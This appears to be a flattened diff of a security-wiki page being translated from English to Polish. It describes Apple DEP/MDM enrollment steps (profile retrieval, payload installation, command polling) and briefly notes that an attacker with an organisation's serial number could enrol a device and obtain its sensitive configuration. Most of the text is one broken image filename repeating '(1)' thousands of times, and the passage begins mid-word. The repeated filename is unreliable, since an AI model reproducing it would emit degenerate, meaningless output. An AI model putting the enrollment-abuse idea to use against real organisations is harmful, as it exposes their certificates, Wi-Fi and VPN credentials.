kotwice -### **Step 5: Profile Retrieval** +### **Krok 5: Pobieranie profilu** ![](<../../../images/image (444).png>) -- Request sent to **url provided in DEP profile**. -- **Anchor certificates** are used to **evaluate trust** if provided. - - Reminder: the **anchor_certs** property of the DEP profile -- **Request is a simple .plist** with device identification - - Examples: **UDID, OS version**. -- CMS-signed, DER-encoded -- Signed using the **device identity certificate (from APNS)** -- **Certificate chain** includes expired **Apple iPhone Device CA** +- Żądanie wysłane do **url podanego w profilu DEP**. +- **Certyfikaty kotwiczne** są używane do **oceny zaufania**, jeśli są podane. +- Przypomnienie: właściwość **anchor_certs** profilu DEP +- **Żądanie to prosty .plist** z identyfikacją urządzenia +- Przykłady: **UDID, wersja OS**. +- Podpisane CMS, zakodowane DER +- Podpisane za pomocą **certyfikatu tożsamości urządzenia (z APNS)** +- **Łańcuch certyfikatów** zawiera wygasły **Apple iPhone Device CA** -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) - -### Step 6: Profile Installation - -- Once retrieved, **profile is stored on the system** -- This step begins automatically (if in **setup assistant**) -- Driven by **`CPInstallActivationProfile`** -- Implemented by mdmclient over XPC - - LaunchDaemon (as root) or LaunchAgent (as user), depending on context -- Configuration profiles have multiple payloads to install -- Framework has a plugin-based architecture for installing profiles -- Each payload type is associated with a plugin - - Can be XPC (in framework) or classic Cocoa (in ManagedClient.app) -- Example: - - Certificate Payloads use CertificateService.xpc - -Typically, **activation profile** provided by an MDM vendor will **include the following payloads**: - -- `com.apple.mdm`: to **enroll** the device in MDM -- `com.apple.security.scep`: to securely provide a **client certificate** to the device. -- `com.apple.security.pem`: to **install trusted CA certificates** to the device’s System Keychain. -- Installing the MDM payload equivalent to **MDM check-in in the documentation** -- Payload **contains key properties**: -- - MDM Check-In URL (**`CheckInURL`**) - - MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it -- To install MDM payload, request is sent to **`CheckInURL`** -- Implemented in **`mdmclient`** -- MDM payload can depend on other payloads -- Allows **requests to be pinned to specific certificates**: - - Property: **`CheckInURLPinningCertificateUUIDs`** - - Property: **`ServerURLPinningCertificateUUIDs`** - - Delivered via PEM payload -- Allows device to be attributed with an identity certificate: - - Property: IdentityCertificateUUID - - Delivered via SCEP payload - -### **Step 7: Listening for MDM commands** - -- After MDM check-in is complete, vendor can **issue push notifications using APNs** -- Upon receipt, handled by **`mdmclient`** -- To poll for MDM commands, request is sent to ServerURL -- Makes use of previously installed MDM payload: - - **`ServerURLPinningCertificateUUIDs`** for pinning request - - **`IdentityCertificateUUID`** for TLS client certificate - -## Attacks - -### Enrolling Devices in Other Organisations - -As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: - -{{#ref}} -enrolling-devices-in-other-organisations.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 